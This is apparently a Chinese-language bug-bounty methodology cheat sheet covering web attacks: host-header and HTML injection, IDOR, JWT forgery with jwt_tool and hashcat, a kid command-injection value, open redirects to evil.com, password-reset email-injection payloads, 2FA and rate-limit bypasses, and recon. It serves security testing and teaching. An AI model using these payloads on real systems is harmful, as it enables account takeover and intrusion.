Mass account takeovers using HTTP Request Smuggling on https://slackb.com/ to steal session cookies
HTTP request Smuggling
Password theft login.newrelic.com via Request Smuggling
Request smuggling on ████████
Stealing Zomato X-Access-Token: in Bulk using HTTP Request Smuggling on api.zomato.com
HTTP SMUGGLING EXPOSED HMAC/DOS
Multiple HTTP Smuggling reports
Request smuggling on admin-official.line.me could lead to account takeover

Writeups

The Powerful HTTP Request Smuggling
HTTP Request Smuggling in Plain English
Write up of two HTTP Requests Smuggling
Crossing The Borders : The illegal trade of HTTP requests

Extra

HTTP Request Smuggling mass account takeover

Host-Header Attack

Host Header 摘要

在测试试也要注意这些

1.在请求中再添加一个 Host:
2.尝试加入这些 Header：

X-Original-Url:
X-Forwarded-Server:
X-Host:
X-Forwarded-**Host**:
X-Rewrite-Url:

3.如果你在任何 AEM 实例中查找攻击点时，遇到api.json，可以通过以下 Header 尝试 Web 缓存中毒：

Host:
X-Forwarded-Server:
X-Forwarded-Host:
https://localhost/api.json HTTP/1.1

4.也可以试试 Host: redacted.com.evil.com
5.试试 Host: evil.com/redacted.com Account Takeover in Periscope TV
6.再来 Host: example.com?.mavenlink.com
7.还可以试试 XSS Host: javascript:alert(1); XSS via Host header - www.google.com/cse
8.Host Header to Sqli
9.绕过前端服务器限制并且可以访问隐藏的文件目录：

1	X-Rewrite-Url/X-original-url: curl -i -s -k -X 'GET' -H 'Host: <site>' -H 'X-rewrite-url: admin/login' 'https://<site>/'

HTML-Injection

摘要

密码重置链接通常指向你的帐户名称，后跟重置链接。如果应用程序允许你使用带有标签或特殊字符的帐户名，或许你该尝试以下注入。

步骤

1.创建你的帐户
2.将你的姓名编辑为 <h1>attacker</h1> 或 "abc><h1>attacker</h1> 并且保存它
3.发起一个重置密码请求并且在你的邮箱中验证
4.你将会发现 <h1> 标签被解析了

HTML注入通常被认为只是低到中的威胁，但是你可以通过使用 href 来增加严重性：

<h1>attacker</h1><a href="your-controlled-domain"Click here</a>

你可以将用户重定向到恶意域，并提供伪造的重置密码页面以窃取凭据，还可以提供 XSS 页面并窃取用户 cookie 等

IDOR

IDOR 的核心是一种访问控制漏洞，其中应用程序依赖于用户提供的输入来直接引用对象。在这种情况下，对象可以是图片、帖子评论、与用户甚至组织内整个部门关联的个人身份信息（PII）

当应用程序根据用户提供的输入提供对象的直接访问时，会发生不安全的直接对象引用。通过此漏洞，攻击者可以直接绕过授权并访问系统中的资源，例如数据库记录或文件。不安全的直接对象引用允许攻击者通过修改用于直接指向对象的参数值来绕过授权并直接访问资源。此类资源可以是属于其他用户的数据库条目、系统中的文件等。

IDOR 可以存在于整个应用程序中，因此建议你如果看到ID就测试一下，即使是 guid 或某种类型的“加密ID”。寻找此ID的潜在泄露（public profile），或寻找遍历点，看看能否利用 Burpsuite Intruder 进行测试。

你可能发现的 IDOR 类型

1.参数值直接用于检索数据库记录：http://foo.bar/somepage?invoice=12345
2.参数值直接用于在系统中执行操作：http://foo.bar/changepassword?user=someuser
3.参数值直接用于检索文件系统资源：http://foo.bar/showImage?img=img00011
4.参数值直接用于访问应用程序功能：http://foo.bar/accessPage?menuitem=12

测试 IDOR - （手动方法）

基本步骤：
1.如果可以的话，先创建两个帐户，或枚举用户；
2.查看终端节点是私有的还是公共的，是否包含任何类型的 id 类参数；
3.尝试更改此参数值为其他用户的参数值，看看是否能以其他用户的身份进行操作。

Test-1：将 id 参数添加到没有 id 的请求

1
2
3

GET /api/MyPictureList → /api/MyPictureList?user_id=<other_user_id>

你可以通过删除或编辑其他对象并查看使用的参数名称来寻找要尝试修改或添加的参数名称

Test-2:尝试替换参数名称

Instead of this:
GET /api/albums?album_id=<album id>

Try This:
GET /api/albums?account_id=<account id>

有一个名为 Paramalyzer 的 Burp 拓展，可以通过记住你传递给服务器的所有参数来方便修改

Test-3：为同一个参数提供多个值

Instead of this:
GET /api/account?id=<your account id> →

Try this:    
GET /api/account?id=<your account id>&id=<admin's account id>

这也是 HTTP 参数污染的一种，这样的操作可能会让你访问管理员帐户

Test-4：在测试 id 类参数时尝试更改 HTTP 的请求方法

Instead of this:
POST /api/account?id=<your account id> →

Try this:    
PUT /api/account?id=<your account id>

尝试切换 POST 和 PUT，看看是否可以将内容上传到其他用户的个人资料，对于 RESTful 服务，请尝试将 GET 更改为 POST/PUT/DELETE 以进行创建/更新/删除操作

Test-5：尝试更改请求的内容类型

Instead of this:
POST /api/chat/join/123 […] Content-type: application/xml → test

Try this:
POST /api/chat/join/123 […] Content-type: application/json {“user”: “test”}

访问控制在不同内容类型中的实施可能不一致。不要忘记尝试替换或使用不太常见的值，如 text/xml、text/x-json 等

Test-6：尝试更改请求的文件类型（测试是否为Ruby）

Example:

GET /user_data/2341 --> 401 Unauthorized

GET /user_data/2341.json --> 200 OK

通过附加不同的文件扩展名（e.g. .json, .xml, .config）在文件请求的末尾

Test-7：应用是否要求非数字 id？将其改为数字 id

可能有多种方法引用数据库中的对象，并且应用程序仅对一种对象进行访问控制
在接受非数字 id 的任何地方尝试使用数字 id：
Example:

username=user1 → username=1234
account_id=7541A92F-0101-4D1E-BBB0-EB5032FE1686 → account_id=5678
album_id=MyPictures → album_id=12

Test-8：尝试使用数组

1
2
3

如果常规 id 替换不起作用，请尝试将 id 包装在数组中，看看是否可以达成操作：

{“id”:19} → {“id”:[19]}

Test-9：通配符 id

1
2
3

尝试将 id 参数值替换为通配符，你可能会幸运地得到什么：

GET /api/users/<user_id>/ → GET /api/users/*

Test-10：注意新功能

如果你偶然发现 Web 应用中新添加的功能（如即将举行的活动中含有上传个人资料图片的功能），可能会执行 API 调用：

/api/CharityEventFeb2021/user/pp/<ID>

应用程序可能不会像对核心功能那样严格地强制实施此新功能的访问控制

IDOR - 自动测试方式：
Finding Broken Access Controls
PimpMyBurp #1 - PwnFox + Autorize: The perfect combo to find IDOR - Global Bug Bounty Platform
Automating BURP to find IDORs

参考
Everything You Need to Know About IDOR (Insecure Direct Object References)
Finding more IDORs - Tips and Tricks | Aon
KathanP19/HowToHunt
Learn about Insecure Object Reference (IDOR) | BugBountyHunter.com
WSTG - v4.2
IDOR (Insecure Direct Object Reference)
What I learnt from reading 220* IDOR bug reports.

Medium 报告：
Full account takeover worth $1000 Think out of the box
All About Getting First Bounty with IDOR
IDOR that allowed me to takeover any users account.
All About IDOR Attacks
Access developer tasks list of any of Facebook Application (GraphQL IDOR)

Tips

#1 https://twitter.com/M0_SADAT/status/1361289751597359105
Looking for high impact IDOR?
Always try to find the hidden parameters for this endpoints using Arjun and Parameth
/settings/profile
/user/profile
/user/settings
/account/settings
/username
/profile
And any payment endpoint

Pro tip: Don’t forget to try create/update/delete operations on objects that are publicly readable but shouldn’t be writable. Can you PUT to /api/products and change a price?

JWT Attack

介绍

JWT 最常用于授权。

JSON Web 令牌（JWT）是一种标准化格式，用于在双方之间安全地交换数据。

它是紧凑的、可读的，并且由身份提供者（IdP）使用私钥/或公钥对进行数字签名。因此，令牌的完整性和真实性可以由其他相关方进行验证。

使用 JWT 的目标不是隐藏数据，而是确保数据的真实性。JWT 是经过签名和编码的，而不是加密的。

JWT 是一种基于令牌的无状态身份验证机制。由于它是客户端无状态会话，因此服务器不必仅依靠数据存储（数据库）来保存会话信息。

它由三个要素组成：header.payload.signature

标头 - JWT 标头由用于签名和编码的令牌类型和算法组成。算法可以是HMAC，SHA256，RSA，HS256或RS256。

有效负载 - 这也是一个 JSON 对象，用于存储用户的信息，如 ID、用户名、角色、令牌生成时间和其他自定义声明。

签名 - JSON Web 令牌最关键的方面是其签名（JWT）。签名是通过使用 Base64url 编码对标头和有效负载进行编码并使用句点分隔符（.）。此信息随后传递到加密算法。因此，如果标头或有效负载发生更改，则必须再次计算签名。只有身份提供程序（IdP）有权访问用于生成签名的私钥，这禁止令牌操作。

JWT 可以使用称为对称和非对称加密的两种加密机制生成：

对称：此机制需要单个密钥来创建和验证 JWT。这种类型的最常见算法是HS256。

非对称：此机制需要公钥进行验证，需要私钥对签名进行签名。这种类型的最常见算法是RS256。

密钥 ID（kid）是具有字符串类型的可选标头，用于标识文件系统或数据库中的特定密钥，然后使用其内容验证签名。如果应用程序具有多个用于对令牌进行签名的密钥，则此参数很有用，但如果它是可注入的，则可能会出现问题，因为攻击者可以引用具有可预测内容的特定文件。

除了密钥 ID 之外，JSON Web 令牌标准还为开发人员提供了通过 URL 指定密钥的能力。

令牌标头包含版本（“ver”）声明。它包含所使用的 JWT 令牌库的版本。

jku 标头参数 - JKU 是“JWK Set URL”的缩写。它是一个可选的标头字段，用于指定引用验证令牌所需的密钥集合的 URL。如果未正确控制此字段且允许此字段，则攻击者可能会托管自己的密钥文件，并声明应用程序使用它来验证令牌。

jwk 标头参数 - 可选的 JWK（JSON Web 密钥）标头参数允许攻击者将用于验证令牌的密钥直接嵌入到令牌中。

x5u 和 x5c 标头参数 - x5u 和 x5c 标头参数（如 jku 和 jwk 标头）允许攻击者定义用于验证令牌的公钥证书或证书链。 x5u 以 URI 形式定义信息，而 x5c 允许将证书数据合并到令牌中。

x5t 参数 - “x5t”（x.509 证书指纹）标头参数返回 X.509 证书的 DER 编码的 base64url 编码的 SHA-256 指纹（即摘要），可用于匹配证书。结果，它相当于密钥标识符或孩子声明！！

在有效负载部分，你可能还会发现：

JTI 参数 - 用于防止对 JWT 的重放攻击

iss 参数 - 发行令牌的实体的名称

iat 参数 - 标识 JWT 令牌的发行时间

nbf 参数 - 标识不得接受 JWT 令牌进行处理的时间

exp 参数 - 标识过期时间，在此时间或之后不得接受 JWT 进行处理

aud(audience) 声明 - 标识 JWT 的目标接收者

工作流程

基本上，身份提供者（IdP）生成一个 JWT 证明用户身份，资源服务器使用秘密盐/公钥解码并验证令牌的真实性。

1. User sign-in using username and password or google/facebook.
2. Authentication server verifies the credentials and issues a jwt signed using either a secret salt or a private key.
3. User’s Client uses the JWT to access protected resources by passing the JWT in HTTP Authorization header.
4. Resource server then verifies the authenticity of the token using the secret salt/ public key.

工具

GitHub - ticarpi/jwt_tool: A toolkit for testing, tweaking and cracking JSON Web Tokens

GitHub - hahwul/jwt-hack: 🔩 jwt-hack is tool for hacking / security testing to JWT. Supported for En/decoding JWT, Generate payload for JWT attack and very fast cracking(dict/brutefoce)

GitHub - mazen160/jwt-pwn: Security Testing Scripts for JWT

GitHub - brendan-rius/c-jwt-cracker: JWT brute force cracker written in C

GitHub - jmaxxz/jwtbrute: Brute forcing jwt tokens signed with HS256 since 2014

GitHub - Sjord/jwtcrack: Crack the shared secret of a HS256-signed JWT

JSON Web Tokens

JSON Web Token Attacker

GitHub - wallarm/jwt-heartbreaker: The Burp extension to check JWT (JSON Web Tokens) for using keys from known from public sources

JWTweak

攻击 JWT

Base Methodology:

1. Find JWT tokens
	- We can use Regex to search in proxy history 
		"[= ]eyJ[A-Za-z0-9_-]*\.[A-Za-z0-9._-]*"
		"[= ]eyJ[A-Za-z0-9_\/+-]*\.[A-Za-z0-9._\/+-]*"
2. Identify a test page
	- Find a request of the page with JWT token which gives clear reponse if valid Ok else other reponse
		Profile page is a good start
3. Check that your test cases work
	- Send the request to repeater and check if same token works again else token might have expired
	- Now start testing different attacks.

检查 JWT 中的敏感数据

1. Turn Intercept on in burp and Login to Web App
2. Forward the request until you get JWT token
3. Switch to JSON Web Token Tab 
4. Check if any user info or any sensitive info is there in payload section.
5. Done!

无算法

1. Turn Intercept on in burp and Login to Web App
2. Forward the request until you get JWT token
3. Switch to JSON Web Token Tab or JOSEPH which also contains bypass
4. Change "alg:" to none "alg:none"  
		{
		  "alg": "none",
		  "typ": "JWT"
		}
5. Change the Payload and edit the signature to empty
		Signature = ""
6. Forward the Request. Done!

Using JWT_Tool.
1. Turn Intercept on in burp and Login to Web App
2. Forward the request until you get JWT token
3. Use Below command to get different bypass payload to try , replace <JWT> with your JWT token.
		"python3 jwt_tool.py <JWT> -X a"
4. Use Different Payloads Generated by tool in your request, see if any of it works.
5. Change you Payload value to desire with the token that worked and Done!

将算法从 RS256 更改为 HS256

Note: This Attack will convert the workflow from Asymmetric to Symmetric encryption and now we can sign the new tokens with the same public key.

1. Turn Intercept on in burp and Login to Web App
2. Forward the request until you get JWT token
3. Get the Public key from the Application (pubkey.pem file) using below commands.
		"openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem"
		"openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem"
																OR
		"openssl s_client -connect zonksec.com:443 | openssl x509 -pubkey -noout"
4. Then use below command to generate JWT token.
		"python3 jwt_tool.py <JWT> -S hs256 -k pubkey.pem"
5. Use the generated token in the request and try changing payload.
6. Done, Forward the request.

* This will work when web app support both algorithm.

签名未经过检查

1. Turn Intercept on in burp and Login to Web App
2. Forward the request until you get JWT token.
3. Switch to JSON Web Token Tab or JOSEPH.
4. Change Payload section and Remove the Signature completely or try changing somecharacters in signature
5. Done, Forward the Request.

破解私钥

1. Turn Intercept on in burp and Login to Web App
2. Forward the request until you get JWT token.
3. If JWT-Heartbreaker Plugin is installed then weak secret-key will directly be shown to you.
																			OR
3. Copy JWT Token and store it in a text file then usse Hashcat to crack the Secret key using below command.
		"hashcat -a 0 -m 16500 jwt_token.txt /usr/share/wordlist/rockyou.txt --force" 
		"hashcat -a 0 -m 16500 jwt_token.txt /usr/share/wordlist/rockyou.txt --show" //this will show cracked secret-key
																			OR
3. Use Jwt_Tool to crack the secret key using below command:
			"python3 jwt_tool.py <JWT> -C -d secrets.txt"
4. Now Use the Secret key to forge the request using jwt.io or jwt_tool with option "-p"
5. Done, Use the generated token in request and forward the request.

* You can also find any leaking secret key in jwt.json config file.

使用 JWT 令牌中的 kids 进行攻击

Use arbitrary files to verify
1. Turn Intercept on in burp and Login to Web App
2. Forward the request until you get JWT token.
3. If there is kid in header section of JWT_token then forge a new JWT token using jwt_tool
		'python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""' 
* Alternatively, we may utilise the content of any file in the web root, such as CSS or JS, to validate the Signature.
		'python3 jwt_tool.py -I -hc kid -hv "path/of/the/file" -S hs256 -p "Content of the file"'
4. Manipulate payload section and now use the generated token in request.
5. Done, Forward the Request. 

SQL injection
1. Turn Intercept on in burp and Login to Web App
2. Forward the request until you get JWT token.
3. Switch to JSON Web Token Plugin tab and manipulate kid with sqli payload.
4. You can try SQLi not only in kid but in any field of payload section.
		"python3 jwt_tool.py <JWT> -I -pc name -pv "admin' ORDER BY 1--" -S hs256 -k public.pem"
5. Done, Forward the request and escalate sqli further.

Command injection
1. Turn Intercept on in burp and Login to Web App
2. Forward the request until you get JWT token.
3. Switch to JSON Web Token Plugin tab and manipulate kid with os commands payload.
	"kid: key.crt; whoami && python -m SimpleHTTPServer 1337 &"
4. Now use the forged JWt token in request
5. Check if you can connect to the server on port 1337 or instead use reverse shell in payload and check if you get connection back
6. DOne

伪造Header参数

JSON Set URL (jku)
1. Turn Intercept on in burp and Login to Web App
2. Forward the request until you get JWT token.
3. Decode the JWT token and check if it contents jku attribute in Header section
4. Generate you Public and Private Key pair using below commands:
		"openssl genrsa -out keypair.pem 2048"
		"openssl rsa -in keypair.pem -pubout -out publickey.crt"
		"openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key"
	8 it will generate Public Key - "publickey.crt" & Private Key - "pkcs8.key"
5. Use Jwt.io and paste the public key (publicKey.pem) and the private key (attacker.key) in their respective places in the "Decoded" section.
6. Host the generated certificate locally and modify the jku header parameter accordingly.
7. Retrieve the jwks.json file from the URL present in the jku header claim
		"wget http://example.com:8000/jwks.json"
8. Make a Python script "getPublicParams.py":
		from Crypto.PublicKey import RSA

		fp = open("publickey.crt", "r")
		key = RSA.importKey(fp.read())
		fp.close()

		print "n:", hex(key.n)
		print "e:", hex(key.e)
9. Run python script "python getPublicParams.py"
10. Update the values of n and e in local jkws.json
11. Hosting the JWK Set JSON file using repl.it or any server
12. Manipulate the payload section and copy the generated jwt token from jwt.io
13. Done, change the JWT token in our request and Forward!

x5u Claim Misuse:
Note: The algorithm used for signing the token is “RS256”.
The token is using x5u header parameter which contains the location of the X.509 certificate to be used for token verification.

1. Turn Intercept on in burp and Login to Web App
2. Forward the request until you get JWT token.
3. Decode the JWT token and check if it contents x5u attribute in Header section.
4. Creating a self-signed certificate
			"openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt"
5. Extracting the public key from the generated certificate:
			"openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem"
6. Use Jwt.io and paste the public key (publicKey.pem) and the private key (attacker.key) in their respective places in the "Decoded" section.
7. Set "x5u: http://192.87.15.2:8080/attacker.crt" you can use repl.it to host
8. Done Use forged jwt token in request.

x5c Claim Misuse:
Note:The algorithm used for signing the token is “RS256”.
The token is using x5c header parameter which contains the X.509 certificate to be used for token verification.
The token has various fields: n, e, x5c, x5t, kid. Also, notice that kid value is equal to x5t value.

1. Turn Intercept on in burp and Login to Web App
2. Forward the request until you get JWT token.
3. Decode the JWT token and check if it contents x5c attribute in Header section.
* https://jwt.io automatically extracts the X.509 certificate and places it in the “Verify Signature” sub-section in “Decoded” section.

4. Create a self-signed certificate:
		"openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt"
5. Extracting RSA public key parameters (n and e) from the generated certificate
		"openssl x509 -in attacker.crt -text"
6. Converting modulus (n) to base64-encoded hexadecimal strings
		"echo "Modules (n) value will be here"| sed ‘s/://g’ | base64 | tr ‘\n’ ‘ ‘ | sed ‘s/ //g’ | sed ‘s/=//g’"
7. Converting exponent (e) to base64-encoded hexadecimal strings
		"echo "exponent (e) here" | base64 | sed ‘s/=//g’"
8. Finding the new x5c value
		"cat attacker.crt | tr ‘\n’ ‘ ‘ | sed ‘s/ //g’"
9. Copy the contents excluding the — -BEGINCERTIFICATE — — and — — ENDCERTIFICATE — — part.
8. Finding the new x5t value
		"echo -n $(openssl x509 -in attacker.crt -fingerprint -noout) | sed ‘s/SHA1 Fingerprint=//g’ | sed ‘s/://g’ | base64 | sed ‘s/=//g’"
* Note: The kid parameter would also get the same value as x5t parameter.
9. Creating a forged token using all the parameters calculated in the previous step.
10. Visit https://jwt.io and paste the token retrieved in Step 3 in the “Encoded” section.
11. Paste the X.509 certificate (attacker.crt) and the private key (attacker.key) in their respective places in the “Decoded” section.
12. Manipulate Payload section and copy the forged token
13. Replace the forged token in the request and forward. Done!!

其他攻击

Key Database Mismanagement

Hacking JWT Tokens: Key Database Mismanagement

Verification Key Mismanagement

Hacking JWT Tokens: Verification Key Mismanagement

Hacking JWT Tokens: Verification Key Mismanagement II

Hacking JWT Tokens: Verification Key Mismanagement III

Hacking JWT Tokens: Verification Key Mismanagement IV

Vulnerable Key Generator

Hacking JWT Tokens: Vulnerable Key Generator

Transaction Replay

Hacking JWT Tokens: Transaction Replay

Hacking JWT Tokens: Transaction Replay II

JWS Standard for JWT

Hacking JWT Tokens: JWS Standard for JWT

Hacking JWT Tokens: JWS Standard for JWT II

Bypassing NBF Claim

Hacking JWT Tokens: Bypassing NBF Claim

Special Version Claim

Hacking JWT Tokens: Special Version Claim

Cross Service Relay Attack — Missing audience claim

Hacking JWT Tokens: Cross Service Relay Attack - Missing audience claim

Cross Service Relay Attack — Misconfigured audience claim

Hacking JWT Tokens: Cross Service Relay Attack - Misconfigured audience claim

Client Side Token Decode

Hacking JWT Tokens: Client Side Token Decode

快捷方式

1. Copy Jwt token from the request
2. Use Jwt_Tool : https://github.com/ticarpi/jwt_tool
3. use command : python3 jwt_tool.py -M at -t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" -rh "Authorization: Bearer eyJhbG...<JWT Token>"
4. Check for green line

思维导图

参考引用

Labs:
TokenLab : JWTLabs

https://github.com/h-a-c/jwt-lab

GitHub - Sjord/jwtdemo: Practice hacking JWT tokens

Write-ups & Reports:
CTFtime.org / Union CTF 2021 / Cr0wnAir / Writeup

Web - JWT - Cr0wnAir - Union CTF Walkthrough

Exploiting JWT to Account Takeover

The Bad Twin: a peculiar case of JWT exploitation scenario

Hijacking accounts by retrieving JWT tokens via unvalidated redirects

Mail.ru disclosed on HackerOne: smena.samokat.ru Predictable JWT…

Trint Ltd disclosed on HackerOne: Insecure Zendesk SSO…

HackerOne disclosed on HackerOne: HackerOne Jira integration plugin…

Hacking JWT Tokens: “kid” Claim Misuse - Command Injection

Hacking JWT Tokens: Blind SQLi

Hacking JWT Tokens: jku Claim Misuse

Blogs:
Attack Methodology · ticarpi/jwt_tool Wiki

Attacking JSON Web Tokens (JWTs)

JSON Web Token Exploitation for Red Team

https://medium.com/swlh/hacking-json-web-tokens-jwts-9122efe91e4a

JWT Hacking 101

Attacking JWT authentication

How JSON Web Token(JWT) authentication works?

Attacks on JSON Web Token (JWT)

Get a Feel of JWT ( JSON Web Token )

Hacker Tools: JWT_Tool - The JSON Web Token Toolkit - Intigriti

Video:
How to Exploit “Json Web Token”(JWT) vulnerabilities | Full Practical

ATTACKING JWT FOR BEGINNERS!

Tips:
1
2
By @MrTuxracer
If you were able to crack a JWT secret key but there are still some unguessable parameters in the payload just like a UUID, try sending an empty payload instead. This granted me admin rights more than once.

MFA Bypass

2FA 绕过思维导图

来源

https://twitter.com/hackerscrolls/status/1256276376019230720

MindMap

2FA Bypass

1：- 密码重置禁用 2FA

2：- 无速率限制

3: - 发送所有字母而不是数字

4：- 状态代码操作

5: - 通过替换另一个账户会话中的部分请求来绕过 2FA。

If a parameter with a specific value is sent to verify the code in the request, try sending the value from the request of another account.

For example, when sending an OTP code, the form ID/user ID or cookie is checked, which is associated with sending the code. If we apply the data from the parameters of the account on which you want to bypass code verification (Account 1) to a session of a completely different account (Account 2), receive the code and enter it on the second account, then we can bypass the protection on the first account. After reloading the page, 2FA should disappear.

6：- 使用“记忆”功能绕过 2FA。

Many sites that support 2FA, have a “remember me” functionality. It is useful when the user doesn’t want to enter a 2FA code on subsequent login windows. And it is important to identify the way in which 2FA is “remembered”. This can be a cookie, a value in session/local storage, or simply attaching 2FA to an IP address.

7: - 响应中的 OTP 泄漏
8：- 通过 OAuth 机制绕过 2fa（大多数不适用）
1
Site.com requests Facebook for OAuth token > Facebook verifies user account > Facebook send callback code > Site.com logs a user in (Rare case)
9：- 使用响应操作绕过 2fa
1
Enter correct OTP -> Intercept & capture the response -> logout -> enter wrong OTP -> Intercept & change the response with successful previous response -> logged in
10：- 2FA 禁用功能上的 CSRF。
1
Signup for two account -> Login into attacker account & capture the disable 2FA request -> generate CSRF POC with .HTML extension -> Login into victim account and fire the request — — -> It disable 2FA which leads to 2FA Bypass.
11：- 通过添加 null 或 000000 绕过 2FA

12：- 通过 Batch API 请求绕过 2FA

Suppose if 2FA parameter like “code” of “OTP” is going with the request, add same parameter into the request multiple times like BATCH Mode for REST APi.

https://twitter.com/FaniMalikHack/status/1395042756108505092

https://twitter.com/FaniMalikHack/status/1402627994833805313

OAuth

开放认证思维导图

来源

https://twitter.com/hackerscrolls/status/1269266750467649538

开放重定向（Open Redirection）

查找 OpenRedirect 技巧

“我每次测试 Web 应用程序时都会应用此方法，并发现许多开放重定向，甚至使用此技巧的 XSS！”

Step

如果应用程序具有用户登录/注册功能，则注册用户并以该用户身份登录。

转到您的用户个人资料页面，例如：samplesite.me/accounts/profile

复制个人资料页面的 URL

注销并清除所有 cookie，然后转到网站主页。

将复制的个人资料 URL 粘贴到地址栏上

如果网站提示登录，请检查地址栏，您可能会发现带有重定向参数的登录页面，如下所示

https://samplesite.me/login?next=accounts/profile

https://samplesite.me/login?retUrl=accounts/profile

尝试通过添加外部域并加载精心设计的 URL 来利用该参数，例如：- https://samplesite.me/login?next=https://evil.com/（或）[https://samplesite.me/login ?next=https://samplesite.me@evil.com/](https://samplesite.me/login?next=https://samplesite.me@evil.com/) #（可能需要绕过正则表达式的过滤）

如果它重定向到evil.com，那就是你的开放重定向错误。

尝试利用它来进行 XSS，例如：- https://samplesite.me/login?next=javascript:alert(1);//

OpenRedirect 绕过

我在进行渗透测试时在应用程序中发现了这种绕过方式。我希望它也能帮助你！

当你尝试重定向https://targetweb.com?url=http://attackersite.com时，它没有重定向！

我使用 www.targetweb.com.attackersite.com 创建了一个新的子域

当我尝试使用https://targetweb.com?url=www.targetweb.com.attackersite.com重定向时

它将成功重定向到 www.targetweb.com.attackersite.com 网站！

由于正则表达式错误，它已成功绕过他们的保护！

社交分享按钮中的参数污染（Parameter Pollution）

大家好，虽然这不是严重的错误，但仍然有一些组织认真对待这个问题。

Step

1.Browse through your target.
  say https://target.com
2.Find a article or blog present on target website which must have a link to share that blog on different social networks such as
  Facebook,Twitter etc.
3.Let's say we got and article with url:
  https://taget.com/how-to-hunt 
  then just appened it with payload ?&u=https://attacker.com/vaya&text=another_site:https://attacker.com/vaya
  so our url will become 
  https://taget.com/how-to-hunt?&u=https://attacker.com/vaya&text=another_site:https://attacker.com/vaya
4.Now hit enter with the abover url and just click on share with social media.
  Just observe the content if it is including our payload i.e. https://attacker.com
  Then it is vulnerable or else try next target.

参考

https://hackerone.com/reports/105953

密码重置功能（Password Reset Functionality）

密码重置思维导图

来源

https://twitter.com/N008x/status/1302515523557548032

https://anugrahsr.github.io/posts/10-Password-reset-flaws/

密码重置令牌泄露

Steps:
1.Sent a password reset request using forget password
2.Check your email 
3.copy your reset page link and paste in another tab and make burp intercept on.
4.Look for every request if you find similiar token that is in reset link with other domain like: bat.bing.com or facebook.com
5.Than there is reset password token leakage.

通过密码重置功能接管帐户

1. email= victim@gmail.com&email=attacker@gmil.com
2. email= victim@gmail.com%20email=attacker@gmil.com
3. email= victim@gmail.com |email=attacker@gmil.com
4. email= victim@gmail.com%0d%0acc:attacker@gmil.com
5. email= victim@gmail.com&code= my password reset token

速率限制绕过（Rate Limit）

有两种方法可以做到这一点

自定义 HTTP 方法

向欺骗 IP 添加标头

自定义HTTP方法

如果请求继续 GET 尝试将其更改为 POST、PUT 等，

如果你想绕过 API 中的速率限制，请尝试 HEAD 方法。

使用标头绕过速率限制

在主机标头下方使用以下标头

X-Forwarded-For: IP
X-Forwarded-IP: IP
X-Client-IP: IP
X-Remote-IP: IP
X-Originating-IP: IP
X-Host: IP
X-Client: IP

#or use double X-Forwarded-For header
X-Forwarded-For:
X-Forwarded-For: IP

添加 HTTP 标头来欺骗 IP 并逃避检测

这些是我迄今为止收集的绕过速率限制的标头。

X-Forwarded: 127.0.0.1
X-Forwarded-By: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Forwarded-For-Original: 127.0.0.1
X-Forwarder-For: 127.0.0.1
X-Forward-For: 127.0.0.1
Forwarded-For: 127.0.0.1
Forwarded-For-Ip: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1

使用特殊字符绕过速率限制

在电子邮件末尾添加空字节 (%00) 有时可以绕过速率限制。

尝试在电子邮件后添加空格字符。（未编码）

一些有助于绕过速率限制的常见字符：%0d、%2e、%09、%20、%0、%00、%0d%0a、%0a、%0C

在api端点末尾添加斜杠（/）也可以绕过速率限制。domain.com/v1/login->domain.com/v1/login/

使用 IP 旋转 Burp 扩展

尝试更改用户代理、cookie…任何能够识别您身份的内容

如果他们限制每个 IP 尝试 10 次，则每 10 次尝试都会更改标头内的 IP。更改其他标头

Burp Suite 的 Extension IP Rotate 在很多情况下都能很好地工作。确保您已经安装了 Jython。

在这里您将获得所需的一切 - https://github.com/PortSwigger/ip-rotate

You can find some more here - https://medium.com/bugbountywriteup/bypassing-rate-limit-like-a-pro-5f3e40250d3c
You can find more with screenshot https://medium.com/@huzaifa_tahir/methods-to-bypass-rate-limit-5185e6c67ecd

参考

https://twitter.com/m4ll0k2/status/1294983599943540738/photo/1

https://twitter.com/SalahHasoneh1/status/1287366496432332800

https://twitter.com/SMHTahsin33/status/1295054667613757441 (all in one must check)

Recon

信息侦查工作流

IP空间发现

TLD、收购和归属关系

子域枚举

指纹识别

Dorking

内容发现

参数发现

ASN 发现

目标的 ASN 发现：

使用 whois 的 ASN：
1
whois -h whois.cymru.com $(dig +short example.com)
注意：要小心，因为有时您可能会获得 VPS（例如数字海洋等）的 ASN。请勿使用它们。

使用 Nmap 和 ASN 发现与目标 ASN 相关的 IP
1
nmap --script targets-asn --script-args targets-asn.asn=<ASN Number>
使用 AMASS 收集公司情报
1
amass intel -org <Organisation name(not domain)>
ASN 的 ARIN：

https://whois.arin.net

站点：ASN 的 IPINFO

https://ipinfo.io

使用 AMASS 使用 ASN 的子域：
1
amass intel -asn <ASN_number>

归属发现

以收购或相关组织作为目标

wikipedia

Crunchbase

Crunchbase: Discover innovative companies and the people behind them

Owler

Accquiredby

AcquiredBy | Definitive list of bootstrapped acquisitions
LinkedIn
ReverseWhois using amass intel module
1
amass intel -d [domain.com](http://domain.com) -whois
BuiltWith
BuiltWith

Google dork:
1
intext:"copyright ©️ org_name"
Shodan Dork using HTTP favicon hashes
1
http.favicon.hash:<hash>
Favicon hash 可以用 favfreak 进行发现

子域枚举

那么，当您寻找通配符启用范围程序时，子域枚举非常重要。如果您能够获得其他人错过的独特子域，那么您就有机会获得一些漏洞

一般方法论

被动的

主动的

排列组合

被动的

在此阶段，您必须使用尽可能多的资源来被动收集子域。如今，使用使用 API 密钥的社区标准工具并不难做到这一点

工具

Subfinder

Amass

Assetfinder

Findomain

主动的

在此阶段，您必须在目标主机上执行暴力破解，以查看单词列表中的单词是否解析为有效的子域

工具

ShuffleDNS

Aiodnsbrute

排列组合

在此阶段，您必须尝试子域。现在更改一下文字，看看它是否仍然有效

端口扫描

将域名转换为ip地址

